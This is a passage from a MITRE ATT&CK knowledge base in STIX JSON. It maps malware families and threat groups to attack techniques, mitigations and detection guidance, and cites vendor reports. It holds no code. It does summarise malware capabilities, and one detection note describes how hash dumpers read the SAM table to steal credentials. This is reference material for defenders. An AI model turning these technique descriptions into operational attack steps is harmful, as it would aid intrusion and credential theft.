a-4daa-89b8-1c555d1ac5b7","type":"relationship","created":"2020-06-23T18:59:50.979Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2022-03-27T13:51:59.202Z","description":"Anti-virus can be used to automatically quarantine suspicious files. ","relationship_type":"mitigates","source_ref":"course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e8906575-d90c-4d56-9fb7-bba3560bbeba","type":"relationship","created":"2019-01-29T17:59:44.533Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.","url":"https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf","source_name":"GDATA Zeus Panda June 2017"}],"modified":"2019-04-16T20:55:20.216Z","description":"[Zeus Panda](https://attack.mitre.org/software/S0330) searches for specific directories on the victim’s machine.(Citation: GDATA Zeus Panda June 2017)","relationship_type":"uses","source_ref":"malware--198db886-47af-4f4c-bff5-11b891f85946","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9850f990-17ed-40f5-8065-a455f1198404","type":"relationship","created":"2019-06-20T20:53:17.582Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/","source_name":"ESET Turla PowerShell May 2019"},{"source_name":"Symantec Waterbug Jun 2019","url":"https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments","description":"Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019."}],"modified":"2020-03-19T21:56:56.828Z","description":"[Turla](https://attack.mitre.org/groups/G0010) RPC backdoors have used cmd.exe to execute commands.(Citation: ESET Turla PowerShell May 2019)(Citation: Symantec Waterbug Jun 2019)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1157b635-1cd6-4f65-9be6-09a9f7ac1664","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques","description":"Sharma, R. (2018, August 15). Revamped jRAT Uses New Anti-Parsing Techniques. Retrieved September 21, 2018.","source_name":"jRAT Symantec Aug 2018"}],"modified":"2019-06-24T17:20:24.482Z","description":"[jRAT](https://attack.mitre.org/software/S0283) uses WMIC to identify anti-virus products installed on the victim’s machine and to obtain firewall details.(Citation: jRAT Symantec Aug 2018)","relationship_type":"uses","source_ref":"malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7b078d28-1724-474c-8668-a6d5c28ed72b","type":"relationship","created":"2020-07-15T19:18:56.457Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Juniper IcedID June 2020","url":"https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware","description":"Kimayong, P. (2020, June 18). COVID-19 and FMLA Campaigns used to install new IcedID banking malware. Retrieved July 14, 2020."}],"modified":"2020-07-15T19:18:56.457Z","description":"[IcedID](https://attack.mitre.org/software/S0483) has been executed through Word documents with malicious embedded macros.(Citation: Juniper IcedID June 2020)","relationship_type":"uses","source_ref":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d741a245-42ea-4bd4-bfb5-5687981e46b3","type":"relationship","created":"2020-12-14T16:43:09.083Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FBI FLASH APT39 September 2020","url":"https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf","description":"FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."}],"modified":"2020-12-14T16:43:09.083Z","description":"(Citation: FBI FLASH APT39 September 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"tool--cf23bf4a-e003-4116-bbae-1ea6c558d565","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4907e8fb-e224-49a6-aa94-5a76afa714ba","type":"relationship","created":"2020-01-24T17:42:23.791Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2022-03-31T21:19:27.811Z","description":"Limit access to the root account and prevent users from loading kernel modules and extensions through proper privilege separation and limiting Privilege Escalation opportunities.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--a1b52199-c8c5-438a-9ded-656f1d0888c6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--45952aea-8bd7-4f6d-8b23-ee2914860454","type":"relationship","created":"2019-01-29T19:09:26.648Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/","description":"Hayashi, K. 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Retrieved January 12, 2018.","source_name":"PaloAlto UBoatRAT Nov 2017"}],"modified":"2020-03-20T21:31:17.109Z","description":"[UBoatRAT](https://attack.mitre.org/software/S0333) has used GitHub and a public blog service in Hong Kong for C2 communications.(Citation: PaloAlto UBoatRAT Nov 2017)","relationship_type":"uses","source_ref":"malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--03b12a66-789a-4480-8903-deab828d08b6","type":"relationship","created":"2020-06-01T14:41:54.758Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. 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Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017.","url":"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"},{"source_name":"Securelist WhiteBear Aug 2017","description":"Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. 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(2016, January 7). Operation DustySky. Retrieved January 8, 2016."}],"modified":"2020-05-14T15:14:33.559Z","description":"[DustySky](https://attack.mitre.org/software/S0062) searches for network drives and removable media and duplicates itself onto them.(Citation: DustySky)","relationship_type":"uses","source_ref":"malware--687c23e4-4e25-4ee7-a870-c5e002511f54","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--56cf4996-1a39-483f-b32a-94874228ec06","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\nMonitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Anti Spoofing","description":"Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.","url":"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"},{"source_name":"ACSC Email Spoofing","description":"Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.","url":"https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16ef64da-7119-42ad-ad73-e8a34a2b6a0f","type":"relationship","created":"2020-02-04T19:24:28.252Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-09-13T21:08:10.342Z","description":"Applying more restrictive permissions to files and directories could prevent adversaries from modifying the access control lists.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3129063c-ece7-4d72-8728-e72febde953a","type":"relationship","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.874Z","description":"Monitor executed commands and arguments that may abuse Unix shell commands and scripts for execution. Unix shell usage may be common on administrator, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9952a93f-d009-48e5-a618-8e8f97a55685","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-02-04T13:03:03.607Z","relationship_type":"mitigates","source_ref":"course-of-action--ace4daee-f914-4707-be75-843f16da2edf","target_ref":"attack-pattern--44dca04b-808d-46ca-b25f-d85236d4b9f8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b82ceba5-d988-472d-acd4-b7b1bc49ebbc","type":"relationship","created":"2019-06-13T15:56:45.879Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object","description":"Brower, N., Lich, B. (2017, April 19). Create a token object. Retrieved December 19, 2017.","source_name":"Microsoft Create Token"},{"url":"https://docs.microsoft.com/windows/device-security/security-policy-settings/replace-a-process-level-token","description":"Brower, N., Lich, B. (2017, April 19). Replace a process level token. Retrieved December 19, 2017.","source_name":"Microsoft Replace Process Token"},{"url":"https://technet.microsoft.com/en-us/library/bb490994.aspx","description":"Microsoft TechNet. (n.d.). Runas. Retrieved April 21, 2017.","source_name":"Microsoft runas"}],"modified":"2021-04-24T13:40:53.284Z","description":"Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token.(Citation: Microsoft Replace Process Token)\n\nAdministrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command <code>runas</code>.(Citation: Microsoft runas)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f39d0966-e4d4-4d6e-813d-012a0674e466","type":"relationship","created":"2020-02-21T20:46:36.933Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-19T13:37:31.212Z","description":"Ensure proper user permissions are in place to prevent adversaries from disabling or interfering with logging.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7209b3d7-b8c8-4fc0-89fb-a5448f015540","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","source_name":"Baumgartner Naikon 2015"}],"modified":"2019-04-25T02:33:53.487Z","description":"[HDoor](https://attack.mitre.org/software/S0061) kills anti-virus found on the victim.(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"malware--007b44b6-e4c5-480b-b5b9-56f2081b1b7b","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--577f5fe4-3fb4-4969-a5a4-5b7c1bc693a8","type":"relationship","created":"2021-03-04T14:47:27.407Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity Exchange Marauder March 2021","url":"https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/","description":"Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021."}],"modified":"2021-03-04T14:47:27.407Z","description":"(Citation: Volexity Exchange Marauder March 2021)","relationship_type":"uses","source_ref":"intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bf8ae26c-c28c-4de7-a3e2-ad1a2851c1c0","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Scarlet Mimic Jan 2016","description":"Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}],"modified":"2020-03-20T23:05:02.527Z","description":"[CallMe](https://attack.mitre.org/software/S0077) uses AES to encrypt C2 traffic.(Citation: Scarlet Mimic Jan 2016)","relationship_type":"uses","source_ref":"malware--cb7bcf6f-085f-41db-81ee-4b68481661b5","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--19bfa4e1-509b-417a-9bcc-b739f7d798a7","type":"relationship","created":"2020-07-22T19:16:02.883Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 CookieMiner Jan 2019","url":"https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/","description":"Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved July 22, 2020."}],"modified":"2020-07-22T19:16:02.883Z","description":"[CookieMiner](https://attack.mitre.org/software/S0492) can steal saved usernames and passwords in Chrome as well as credit card credentials.(Citation: Unit42 CookieMiner Jan 2019)","relationship_type":"uses","source_ref":"malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c354d751-4688-49c5-9f9a-0d2bc705f645","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-union","description":"Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.","source_name":"SecureWorks BRONZE UNION June 2017"}],"modified":"2019-07-14T21:15:55.482Z","description":"(Citation: SecureWorks BRONZE UNION June 2017)","relationship_type":"uses","source_ref":"intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c","target_ref":"tool--294e2560-bd48-44b2-9da2-833b5588ad11","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ceb66bd9-3e75-4559-a0b9-3339a926cde6","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TYPEFRAME June 2018","description":"US-CERT. (2018, June 14). MAR-10135536-12 – North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"}],"modified":"2020-03-17T13:49:31.240Z","description":"[TYPEFRAME](https://attack.mitre.org/software/S0263) can install encrypted configuration data under the Registry key <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\ShellCompatibility\\Applications\\laxhost.dll</code> and <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\PrintConfigs</code>.(Citation: US-CERT TYPEFRAME June 2018)","relationship_type":"uses","source_ref":"malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--df8d65b3-99f9-42fb-a6d6-09e0c3a00e08","type":"relationship","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.841Z","description":"Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.","source_ref":"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa04b7b3-e9ea-4c35-a2a5-8d0c73f5698b","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cylance Shell Crew Feb 2017","description":"Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV’s Radar. Retrieved February 15, 2017.","url":"https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"}],"modified":"2020-03-19T22:02:49.025Z","description":"[StreamEx](https://attack.mitre.org/software/S0142) has the ability to remotely execute commands.(Citation: Cylance Shell Crew Feb 2017)","relationship_type":"uses","source_ref":"malware--91000a8a-58cc-4aba-9ad0-993ad6302b86","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--186ee163-fb1f-4a7d-b7d9-3c01efbb2be0","type":"relationship","created":"2019-06-05T13:57:44.701Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NJCCIC Ursnif Sept 2016","url":"https://www.cyber.nj.gov/threat-profiles/trojan-variants/ursnif","description":"NJCCIC. (2016, September 27). Ursnif. Retrieved June 4, 2019."},{"source_name":"ProofPoint Ursnif Aug 2016","url":"https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality","description":"Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019."}],"modified":"2019-06-24T16:46:20.366Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) has used [Tor](https://attack.mitre.org/software/S0183) for C2.(Citation: NJCCIC Ursnif Sept 2016)(Citation: ProofPoint Ursnif Aug 2016)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--95e5fd0e-b9c1-4efa-b462-a922456401e6","type":"relationship","created":"2020-05-06T21:31:07.341Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Okrum July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf","description":"Hromcova, Z. (2019, July). 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(2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. 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Retrieved April 13, 2021."}],"modified":"2021-04-13T20:27:52.229Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has used a customized [PlugX](https://attack.mitre.org/software/S0013) variant which could spread through USB connections.(Citation: Avira Mustang Panda January 2020)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--745a30c5-d0d6-4405-b0f4-74c8630cd707","type":"relationship","created":"2020-03-02T14:22:24.905Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Ready.gov IT DRP","url":"https://www.ready.gov/business/implementation/IT","description":"Ready.gov. (n.d.). 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Retrieved March 15, 2019."}],"modified":"2022-03-25T19:03:53.647Z","description":"Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and manipulate backups.","relationship_type":"mitigates","source_ref":"course-of-action--20a2baeb-98c2-4901-bad7-dc62d0a03dea","target_ref":"attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a8d7e4da-53d8-45c2-8c87-70424d96a949","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east","description":"Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.","source_name":"FireEye APT34 Webinar Dec 2017"},{"description":"Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34’s Invite to Join Their Professional Network. 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Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised ( LinkById: T1078) in-use by adversaries may help as well.","modified":"2022-04-20T01:39:44.799Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0229d70b-03ef-4744-aa06-348dd4bcbd10","created":"2022-04-14T17:08:46.766Z","x_mitre_version":"0.1","external_references":[{"source_name":"NCSC Cyclops Blink February 2022","url":"https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf","description":"NCSC. (2022, February 23). Cyclops Blink Malware Analysis Report. Retrieved March 3, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Cyclops Blink](https://attack.mitre.org/software/S0687) can use various Linux API functions including those for execution and discovery.(Citation: NCSC Cyclops Blink February 